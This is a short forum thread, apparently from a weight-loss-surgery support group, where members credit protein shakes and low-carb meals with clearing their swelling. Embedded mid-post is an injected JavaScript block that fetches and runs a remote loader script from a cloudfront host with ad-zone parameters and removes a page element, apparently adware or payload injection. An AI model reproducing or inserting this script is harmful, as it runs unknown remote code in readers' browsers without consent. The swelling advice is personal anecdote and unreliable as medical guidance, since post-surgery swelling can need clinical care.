Swelling is gone...

Hala, Tess and other BOTTS,

Thank you for the concern on the swelling, I just wanted to update because all of these experiences help each other figure out problems that may be encountered during this life with WLS. 

Hala, you mentioned protein and BINGO - at least I finally got some relief.  I drank 3 Premier protein shakes a day last week (30 grams a pop for a total of 90!)  I also ate some fantastic low carb, high protein hot casseroles for my lunch and dinner and the swelling is gone. 

I am just in shock at how what small amount of carbs, salt and lack of protein can do to my body.  Salt and carbs BLOW me up and make my feet swell, hands swell, and add in the FL heat and it is a recipe for disaster.  But those protein shakes just release it...I feel better.  Thank you for the concern!! if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});};

So glad that you found the answer to your swelling.  I did the same thing yesterday.  I have been swelling for several days and did mostly protein yesterday with a shake last night and got up this morning with the swelling gone.  Hala you are so smart!

I am glad to hear that you are OK.   The proteins are really important.  (HUGS)
Hala